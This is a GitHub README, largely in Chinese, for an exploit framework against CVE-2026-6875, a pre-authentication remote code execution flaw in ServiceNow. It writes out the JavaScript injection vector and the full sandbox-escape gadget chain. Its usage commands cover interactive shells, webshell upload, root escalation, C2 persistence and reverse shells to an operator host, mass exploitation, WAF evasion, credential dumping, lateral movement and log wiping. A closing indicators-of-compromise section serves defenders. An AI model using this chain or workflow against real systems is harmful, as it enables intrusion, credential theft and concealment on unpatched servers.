tc4dy/CVE-2026-6875-PoC-Exploit

GitHub: tc4dy/CVE-2026-6875-PoC-Exploit

针对 ServiceNow 平台 CVE-2026-6875 未授权 RCE 漏洞的完整利用框架与安全检测工具,支持漏洞验证、后渗透操作及批量扫描。

Stars: 0 | Forks: 0

# CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework 🔥

CVE-2026-6875 CVSS 9.5 CISA KEV Python 3.6+

Pre-Auth RCE Sandbox Escape Privesc Windows Ready

ServiceNow AI Platform — JavaScript 注入 → 沙箱逃逸 → RCE → Root 提权

Exploit Framework & 安全验证器
仅用于授权的安全测试。

## ⚖️ 法律免责声明与负责任的使用 **本工具仅供教育和授权的渗透测试目的提供。** 作者和贡献者对因使用本软件而造成的任何误用或损害概不负责。用户在测试前,须全权负责确保已获得目标所有者的明确书面许可。根据《计算机欺诈和滥用法》(CFAA) 及全球类似法律,未经授权访问计算机系统是违法行为。 使用本软件即表示您同意: - 仅在您拥有或已获得明确测试许可的系统上使用。 - 遵守所有适用的地方、州和联邦法律。 - 不将其用于任何恶意、破坏性或非法活动。 ## 🔥 漏洞概述 **CVE-2026-6875** 是 ServiceNow AI Platform(原 Now Platform)中一个严重的**未授权远程代码执行 (RCE)** 漏洞。它允许攻击者绕过脚本沙箱,并以 ServiceNow 应用程序的权限执行任意系统命令。 ### 漏洞原理: 1. **JavaScript 注入:** `assessment_thanks.do` 端点接受 `sysparm_assessable_type` 参数。通过在值前面加上 `javascript:`,攻击者可以注入任意 JavaScript 代码。 2. **沙箱逃逸:** 一个复杂的沙箱逃逸 gadget(链式调用 `DiscoveryFunctions.getCacheObjectForTable`、`AbstractAjaxProcessor` 和 `Class.create`)解除了 JavaScript 沙箱限制。 3. **远程代码执行:** 注入的 Java 代码(通过 `java.lang.Runtime.exec()`)以 ServiceNow 应用程序权限运行,从而实现全面的系统入侵。 4. **权限提升:** 后渗透模块尝试通过 sudo 配置错误、SUID 二进制文件、可写的 cron job 或内核漏洞来提权至 **root**。 ### 关键事实: | 属性 | 值 | |-----------|-------| | 📅 **发现日期** | 2026 年 4 月 1 日 (Searchlight Cyber) | | ⚠️ **CVSS 评分** | 9.5 (严重) | | 📋 **CISA KEV** | 2026 年 7 月 13 日添加 | | 🎯 **受影响产品** | 自托管 ServiceNow AI Platform | | 🔄 **已修复版本** | Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13 | | 🔓 **身份验证** | 不需要 (Pre‑Auth) | | 🌍 **主动利用** | 已确认在野利用 (2026 年 7 月) | ## 🛠️ Exploit Framework (`exploit.py`) 这个**全武器化 exploit** 将 JavaScript 注入和沙箱逃逸链接起来以实现远程代码执行,并带有用于权限维持、横向移动和凭证转储的高级后渗透模块。 ### ✨ 功能特点 | 特性 | 描述 | |---------|-------------| | 🚀 **JavaScript 注入** | 通过 `sysparm_assessable_type` 参数注入 payload。 | | 💻 **沙箱逃逸** | 绕过 ServiceNow 的脚本沙箱以运行任意 Java 代码。 | | 🔐 **交互式 Shell** | 生成支持多个命令的实时 shell。 | | 👑 **Root 提权** | 检查 sudo 配置错误、SUID 二进制文件和 cron job。 | | 📁 **文件操作** | 上传 webshell,通过 base64 编码读取/下载文件。 | | 🌐 **批量扫描** | 使用多线程 (`-l` 标志) 批量 exploit 多个目标。 | | 🎯 **安全检测** | 可选的 `--detect` 标志,用于非侵入式漏洞验证。 | | ⚙️ **WAF 绕过** | 内置混淆技术以规避 WAF/IDS (6 种技术)。 | | 🧩 **权限维持** | 安装 cron/systemd/schtasks 后门。 | | 🔍 **横向移动** | 扫描本地网络以查找其他易受攻击的主机,并尝试 SSH/SSRF 传播。 | | 🧹 **清理痕迹** | 删除日志、bash 历史记录和审计跟踪。 | | 💾 **无文件执行** | 使用 Java ClassLoader 运行驻留在内存中的 payload,而无需写入磁盘。 | | 🔌 **回调服务器** | 用于接收命令输出的内置 HTTP 服务器 (可选)。 | | 📢 **Webhook 通知** | 将结果发送到自定义 URL (Slack、Discord 等)。 | | 🪟 **跨平台** | 支持 Linux 和 Windows 目标 (cmd.exe / PowerShell)。 | | 🔒 **线程安全** | 使用锁定机制进行并发操作。 | | 📊 **版本检测** | 检测 ServiceNow 版本 (Zurich/Brazil/Australia/Yokohama)。 | ### 交互式 Shell 命令 | 命令 | 描述 | |---------|-------------| | `exec ` | 执行系统命令 | | `upload [remote]` | 将 webshell 上传到目标 | | `download ` | 下载并显示文件内容 | | `privesc` | 尝试提权 | | `reverse ` | 发送 reverse shell | | `dumpcred` | 从 ServiceNow 配置中转储凭证 | | `persist ` | 安装持久化 (cron/systemd/schtasks) | | `lateral` | 尝试横向移动 | | `clean` | 清理痕迹 (日志、历史记录) | | `memory ` | 执行无文件 Java payload | | `exit` | 退出交互式 shell | ## 🕵️ 安全验证器 (`verifier.py`) **安全验证器** 执行非侵入式漏洞检测,不执行有害 payload 或进行系统更改。 ### ✨ 功能特点 | 特性 | 描述 | |---------|-------------| | 🔍 **ServiceNow 检测** | 通过多个端点识别 ServiceNow 实例。 | | 📊 **版本检测** | 检测特定的 ServiceNow 发行版和补丁级别。 | | 🧪 **JavaScript 注入测试** | 使用安全的 `gs.print()` payload 测试注入漏洞。 | | 🔒 **沙箱逃逸测试** | 在不使用破坏性命令的情况下验证沙箱逃逸。 | | 📈 **置信度评分** | 根据证据提供置信度百分比 (85‑95%)。 | | 📋 **JSON 输出** | 将结果导出为 JSON 格式以便报告。 | | 🔄 **批量扫描** | 支持多线程扫描多个目标。 | | 🎯 **非侵入式** | 仅执行无害的 `uname -a` 来获取系统信息。 | ## 📦 安装与要求 ### 前置条件 - Python 3.6+ - `pip` (用于 `requests` 库) ### 安装依赖项 ``` pip install requests urllib3 ``` ## 🚀 使用示例 ### [1] 安全验证器 (`verifier.py`) ``` # 单个目标验证 python verifier.py -u 192.168.1.100 # 自定义端口和路径 python verifier.py -u 10.0.0.5 -p 8443 --path /snow # 从文件批量扫描 python verifier.py -l targets.txt -o results.json # 安静模式(仅显示易受攻击的目标) python verifier.py -u 192.168.1.100 -q # 增加慢速目标的超时时间 python verifier.py -u servicenow.example.com --timeout 60 # 自定义 User-Agent python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0" ``` ### [2] Exploit Framework (exploit.py) ``` # 目标上的交互式 shell python exploit.py -u 192.168.1.100 # 执行单个命令 python exploit.py -u 192.168.1.100 --exec "id && whoami" # 读取文件 python exploit.py -u 192.168.1.100 --read-file /etc/passwd # 在利用前启用检测 python exploit.py -u 192.168.1.100 --detect # 尝试 root 提权 python exploit.py -u 192.168.1.100 --privesc # 上传 webshell python exploit.py -u 192.168.1.100 --upload shell.jsp # 安装 C2 持久化 python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444 # exploit 后清理痕迹 python exploit.py -u 192.168.1.100 --clean # 使用无文件(内存) payload python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444 # 从文件批量 exploit(50个线程) python exploit.py -l targets.txt -m 50 --exec "uname -a" # 自定义回调服务器端口 python exploit.py -u 192.168.1.100 --callback-port 9090 # 启用 WAF 绕过技术 python exploit.py -u 192.168.1.100 --waf-bypass # 通过 webhook 发送通知 python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow # 管道模式(从 stdin 读取命令) echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100 # 自定义端口和路径 python exploit.py -u 10.0.0.5 -p 8443 --path /snow # 禁用 TLS 验证(适用于自签名证书) python exploit.py -u 192.168.1.100 --insecure-tls # 自定义超时和重试 python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0 ``` ## 🎯 受影响版本 | ServiceNow 发行版 | 易受攻击版本 | 已修复版本 | |-------------------|-------------------|----------------| | **Brazil** | EA, GA | 已修复 (post‑GA) | | **Australia** | Patch 2 之前 | Patch 2+ | | **Zurich** | Patch 7b, Patch 9 之前 | Patch 7b, Patch 9+ | | **Yokohama** | Patch 12 Hot Fix 1b 之前 | Patch 12 Hot Fix 1b, Patch 13 | | **其他发行版** | 未知 | 查阅官方安全公告 | ## 🧠 技术深入分析 ### 1. JavaScript 注入 (CVE-2026-6875) 该漏洞存在于 `assessment_thanks.do` 端点中,该端点接受 `sysparm_assessable_type` 参数。通过提供一个以 `javascript:` 开头的值,平台会在系统上下文中评估随后的 JavaScript。 **易受攻击的端点:** POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test') ### 2. 沙箱逃逸 Gadget 注入的代码最初被限制在沙箱中。但是,通过利用以下链: ``` javascript: var s=""; DiscoveryFunctions.getCacheObjectForTable=Object; var a={};a.get=Object; var b=new AbstractAjaxProcessor(); b.initialize=DiscoveryFunctions.getFirstValueFromTable( a,"",DiscoveryFunctions.getFirstValueFromTable( a,"",DiscoveryFunctions.getFirstValueFromTable( a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize",""); b.a=Class.create();b.a(s); ``` 沙箱被绕过,从而授予对 Java 类(例如 `java.lang.Runtime`)的完全访问权限。 ### 3. 后渗透模块 #### 凭证转储 搜索 `.properties`、`.xml`、`.conf` 文件以查找密码、API key 和机密信息: - `/opt/ServiceNow/conf/*.xml` - `/var/log/ServiceNow/*.log` - `/etc/passwd`, `/etc/shadow` #### 权限维持 通过以下方式安装后门: - **Linux:** Cron job (`*/5 * * * *`)、systemd 服务、SSH key - **Windows:** 计划任务 (`schtasks`)、注册表运行键 #### 横向移动 扫描本地子网以查找其他 ServiceNow 实例或 SSH 主机,重用发现的凭证。 #### 无文件执行 动态编译 Java 类,通过 `ClassLoader` 加载它,并在内存中执行(不写入磁盘)。 #### WAF 绕过技术 1. 双重 URL 编码 2. JavaScript 注释 (`{/*comment*/}`) 3. Unicode 转义 (`\u0077` 代替 `w`) 4. 空格注入 5. 关键字拆分 (`ne\u0077` 代替 `new`) 6. 随机技术选择 ## 🔍 入侵指标 ### 日志分析 在您的 ServiceNow 日志中搜索: - **`extraweb_access.log`** – 对 `/assessment_thanks.do` 的请求,且 `sysparm_assessable_type` 包含: - `javascript:` - Base64 编码的字符串 - `DiscoveryFunctions.getCacheObjectForTable` - `AbstractAjaxProcessor` ### 文件系统 - `/var/tmp/` 中出现意外文件(例如 `shell.jsp`、`.sh` 脚本) - 被修改的 `/etc/passwd`、`/etc/shadow` 或 `~/.ssh/authorized_keys` - 新的 cron job (`crontab -l`) - 新的 systemd 服务 (`/etc/systemd/system/`) ### 进程 - 可疑进程 (`/bin/bash -i`、`nc`、`curl`、`wget`、`python -c`) - 意外的到外部 IP 的网络连接 ### 网络 - 从 ServiceNow 服务器到未经授权 IP 的出站连接 - 非常规端口上的 reverse shell 连接 ## 📚 参考资料 - [NVD - CVE-2026-6875](https://nvd.nist.gov/vuln/detail/CVE-2026-6875) - [ServiceNow 安全公告 (KB3137947)](https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947) - [CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - [Searchlight Cyber – 技术分析](https://searchlightcyber.com/blog/cve-2026-6875) - [The Hacker News – ServiceNow Zero‑Day 遭到利用](https://thehackernews.com/2026/07/servicenow-zero-day-exploited.html) ## 🔗 其他 Exploit [+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework https://github.com/tc4dy/CVE-2026-15409-15410-Framework [+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit [+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit [+] CVE-2026-41940 - cPanel/WHM Authentication Bypass https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit
标签:CISA项目, PE 加载器, Python, ServiceNow, Web报告查看器, 协议分析, 子域名变形, 无后门, 权限提升, 漏洞利用框架, 编程工具, 远程代码执行, 逆向工具